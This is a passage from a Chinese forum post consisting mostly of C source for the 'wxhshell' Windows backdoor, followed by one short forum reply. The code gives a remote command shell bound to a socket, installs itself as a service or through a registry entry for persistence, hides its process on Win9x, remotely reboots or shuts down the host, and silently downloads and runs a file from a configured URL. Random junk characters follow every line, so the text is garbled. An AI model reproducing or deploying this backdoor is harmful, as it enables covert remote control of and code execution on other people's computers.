  send(wsh,msg_ws_err,strlen(msg_ws_err),0); T1D7H~ \lG  
  else N!hp^V<7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t0?\5q  
  } (R.k.,z  
  else { G3KiU($V  
W/fM0=!  
    switch(cmd[0]) { GAQVeL1  
  ~bg FU  
  // 帮助 R9{6$djq\:  
  case '?': { E-l>z%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9erTb?@S  
    break; jMgNi@  
  } >:8GU f*  
  // 安装 ^8B#-9Ph b  
  case 'i': { KWM.b"WnXr  
    if(Install()) nJrV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VYvHpsI  
    else *S*;rLH9c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %]d^B |  
    break;  8DyE  
    } g(|p/%H  
  // 卸载 cLX~NPD/  
  case 'r': { C#;}U51:t  
    if(Uninstall())  :;rd!)5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u2o6EU`  
    else :*Sl\:_X)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )J5(M`  
    break; J/=b1{d"n  
    } v cqL  
  // 显示 wxhshell 所在路径 Gh|q[s*k  
  case 'p': { "c=\?   
    char svExeFile[MAX_PATH]; !i0:1{.  
    strcpy(svExeFile,"\n\r"); g5_]^[up w  
      strcat(svExeFile,ExeFile); I9TOBn|6   
        send(wsh,svExeFile,strlen(svExeFile),0); `2 Z  
    break; Q_]O[Kx  
    } jg' 'T1)  
  // 重启 0lY.z$V  
  case 'b': { b1E>LrL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "rBo?%:  
    if(Boot(REBOOT)) !y `wAm>n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,C!MHn^$  
    else { a'W-&j  
    closesocket(wsh); -g_PJ.Hk  
    ExitThread(0); C {gYrz)  
    } Vtr 0=-m&  
    break; LBbk]I  
    } x_AG=5OJX,  
  // 关机 { +MqXeq  
  case 'd': { ,,lrF.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); PudwcP {  
    if(Boot(SHUTDOWN)) ,\xeNUZd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8.F]&D0p8  
    else { cC b'z1  
    closesocket(wsh); g/J ^ YT!  
    ExitThread(0); Q(>89*b&  
    } XF'K dz>p  
    break; n:x6bPal]  
    } Nq Ve{+1x  
  // 获取shell m<hR Lo  
  case 's': { x)5#*Q  
    CmdShell(wsh); <Hig,(=`.  
    closesocket(wsh); ?3k;Yg/  
    ExitThread(0); QzCu$ [  
    break;  ze{  
  } 9g|o17  
  // 退出 tFO86 !ln  
  case 'x': { ku&IVr%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ws{2+G~  
    CloseIt(wsh); aU4v-9@U8  
    break; 2y`rS _2  
    } lt`#or"o  
  // 离开 BMgiXdv.B  
  case 'q': { ~f;d3dJ]/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 58ev (f  
    closesocket(wsh); "O!J6  
    WSACleanup(); H3nx8R$j](  
    exit(1); VMe~aUd  
    break; IJhJfr0)Oo  
        } E}00y%@*J  
  } cL?FloPc*  
  } M\ B A+  
j:0(=H!#  
  // 提示信息 S8TJnv`?'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]9pK^<  
} $2~I-[  
  } f4@>7K]9TA  
0V }knR.l  
  return; 'x$>h)t]  
} >T'^&l(:  
CuR.a  
// shell模块句柄 Wz`MEyj  
int CmdShell(SOCKET sock) Hw-,sze j"  
{ |W[BqQIf  
STARTUPINFO si; f,wB.MN  
ZeroMemory(&si,sizeof(si)); \'q 9,tP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `%SFu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {R5Q{]dK3  
PROCESS_INFORMATION ProcessInfo; w z}BH  
char cmdline[]="cmd"; }lvD 5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G];5'd~C;d  
  return 0; 1O"7%Pvw  
} dj3}Tjt  
_3i.o$GO  
// 自身启动模式 xlg6cO  
int StartFromService(void) k z"F4?,  
{ B{hP#bYK  
typedef struct Ei2hI  
{ RP?UKOc  
  DWORD ExitStatus; S:"R/EE(  
  DWORD PebBaseAddress; p(-f$Q(  
  DWORD AffinityMask; IxNY%&* `  
  DWORD BasePriority; n}Pz:  
  ULONG UniqueProcessId; h&|q>M3  
  ULONG InheritedFromUniqueProcessId; @ )owj^sA  
}   PROCESS_BASIC_INFORMATION; 2K0HN  
]@wee08  
PROCNTQSIP NtQueryInformationProcess; 6`Zx\bPDm  
;5urIYd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xXp$Nm]:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ckY,6e"6  
( qG | .a  
  HANDLE             hProcess; PQ9.aJdw@-  
  PROCESS_BASIC_INFORMATION pbi; p~1!O]qLt  
+ KGZk?%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #+I)<a7\  
  if(NULL == hInst ) return 0; zkHwoAD;t8  
+nU"P  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J{<,V\t)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;<i`6e  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c'ExZ)RJ  
J\VG/)E  
  if (!NtQueryInformationProcess) return 0; ^LO=&Cq  
{y-7xg~}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k`[ L  
  if(!hProcess) return 0; u2%/</]h  
MY1s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XaOq&7  
l?F-w;wHN  
  CloseHandle(hProcess); Ss ;C1:  
cK6M8:KW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZU\TA|  
if(hProcess==NULL) return 0; = zJY5@^'7  
ME4Ir  
HMODULE hMod; t_%6,?S6  
char procName[255]; j{PuZ^v1  
unsigned long cbNeeded; o_C j o  
HMDQEd;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7v\K,P8  
?ra6Lo  
  CloseHandle(hProcess); 46^LPC"x  
"_dh6naZX  
if(strstr(procName,"services")) return 1; // 以服务启动 2O}UVp>  
$C@v  
  return 0; // 注册表启动 2@ 4^ 81  
} lrQ +G@#  
PO9<g% qTf  
// 主模块 '!Gnr[aR  
int StartWxhshell(LPSTR lpCmdLine) qo{2 CYG\+  
{ 29#&q`J  
  SOCKET wsl; PgZeDUPP  
BOOL val=TRUE; ,QW>M$g{  
  int port=0; g!%C_AI   
  struct sockaddr_in door; G,,c,  
rWk4)+Tk  
  if(wscfg.ws_autoins) Install(); @w:6m&KL9  
NgH"jg-  
port=atoi(lpCmdLine); d9@!se9&Z  
K& / rzs-  
if(port<=0) port=wscfg.ws_port; U)mg]o-VE  
<tp\+v! u  
  WSADATA data; =fy~-FN_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,#;%ILF4%  
_c| aRRW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "7Qc:<ww  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0{u31#0j  
  door.sin_family = AF_INET; ^ ]Mlkd:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4'L%Wz[6  
  door.sin_port = htons(port);  J`F][ A  
:i'jQ<|wZN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~]t/|xep  
closesocket(wsl); )<W6cDx'H+  
return 1; F=}-ngx8&  
} nU]4)t_o\  
LZC)vF5  
  if(listen(wsl,2) == INVALID_SOCKET) { F@=)jrO=$  
closesocket(wsl); |/LCwq%  
return 1; V *2 =S  
} QvB]?D#h  
  Wxhshell(wsl); tTa" JXG  
  WSACleanup(); ,1>ABz  
L\p@1N?K  
return 0; uYk4qorA  
doJ\7c5uU  
} MN|8(f5Gs  
z>_jC+  
// 以NT服务方式启动 P8#;a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) GUUVE@Z  
{ ?9<byEO%M  
DWORD   status = 0; [p3)C<;ZC  
  DWORD   specificError = 0xfffffff; C/nzlp~  
QC+oSb!!?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \dpsyc  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 40VdT|n$$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tg%U 2+.q  
  serviceStatus.dwWin32ExitCode     = 0; Y>eypfK"  
  serviceStatus.dwServiceSpecificExitCode = 0; fG;(&Dx  
  serviceStatus.dwCheckPoint       = 0; 'MEO?]Tf.^  
  serviceStatus.dwWaitHint       = 0; ?V|t7^+:  
k:D;C3vJd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q!l[^t|;  
  if (hServiceStatusHandle==0) return; NNUm=g^  
G[U'-a}I  
status = GetLastError(); Vj.5b0/(  
  if (status!=NO_ERROR) y~jKytq^@  
{ ((Bu Bu>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; nx<q]J uv\  
    serviceStatus.dwCheckPoint       = 0;  gB\ a  
    serviceStatus.dwWaitHint       = 0; 0>jo+b\D$  
    serviceStatus.dwWin32ExitCode     = status; vF45tw  
    serviceStatus.dwServiceSpecificExitCode = specificError; |Tz/9t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >icK]W  
    return; G~Oj}rn  
  } v&:R{  
4qw&G  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z1oikg:?4  
  serviceStatus.dwCheckPoint       = 0; i2<dn)K[~-  
  serviceStatus.dwWaitHint       = 0; z` b. ~<P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]sz3:p=5  
} Vab+58s5  
4v#3UG  
// 处理NT服务事件,比如:启动、停止 EFl[u+ 1tx  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /?b<}am  
{ =A,32&;@N  
switch(fdwControl) V0p@wG3  
{ Q^q G=  
case SERVICE_CONTROL_STOP: , O=@I  
  serviceStatus.dwWin32ExitCode = 0; VK9I#   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E|2klA^+*  
  serviceStatus.dwCheckPoint   = 0; l\l\T<wa,  
  serviceStatus.dwWaitHint     = 0; TI -#\v9  
  { -B\`O*Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @nN+F,phx  
  } h 9V9.'  
  return; a.F6!?  
case SERVICE_CONTROL_PAUSE: /wIev1Z!Y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )4[{+OJa  
  break; [MM11K  
case SERVICE_CONTROL_CONTINUE: h~$Q\WCm#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @vf{_g<  
  break; 7Kx3G{5ja  
case SERVICE_CONTROL_INTERROGATE: yc,Qz.+g  
  break; )i; y4S  
}; =dbLA ,z9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9\W~5J<7  
} 45` Gv  
5gq3 >qo  
// 标准应用程序主函数 {rr ED  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~Ra1Zc$o:  
{ ilv6A9/  
Vxif0Bx&/d  
// 获取操作系统版本 bHcb.;<  
OsIsNt=GetOsVer(); AR\1w'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;(3fr0cr:  
>gDsjHQ6;  
  // 从命令行安装 _nRY5YnL4P  
  if(strpbrk(lpCmdLine,"iI")) Install(); O'JH= '  
8<u_ wt@  
  // 下载执行文件 ~S Js2- 2  
if(wscfg.ws_downexe) { uC G^,BQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %j=E}J<H5*  
  WinExec(wscfg.ws_filenam,SW_HIDE); c Xcn}gKV  
} 8}p5MG  
yS/ovd  
if(!OsIsNt) { T8YqCT"EA<  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,)+O.Lf7&.  
HideProc(); j#%*@]>Tg  
StartWxhshell(lpCmdLine); g#=^U`y  
} R{.wAH(  
else Ki-CJ y  
  if(StartFromService()) z$p +l]  
  // 以服务方式启动 =Fea vyx  
  StartServiceCtrlDispatcher(DispatchTable); nM8aC&Rd\  
else Zl"h-~31  
  // 普通方式启动 z'r.LBnh  
  StartWxhshell(lpCmdLine); iXC/? EK4  
 U^ BB|  
return 0; xtU)3I=F%  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五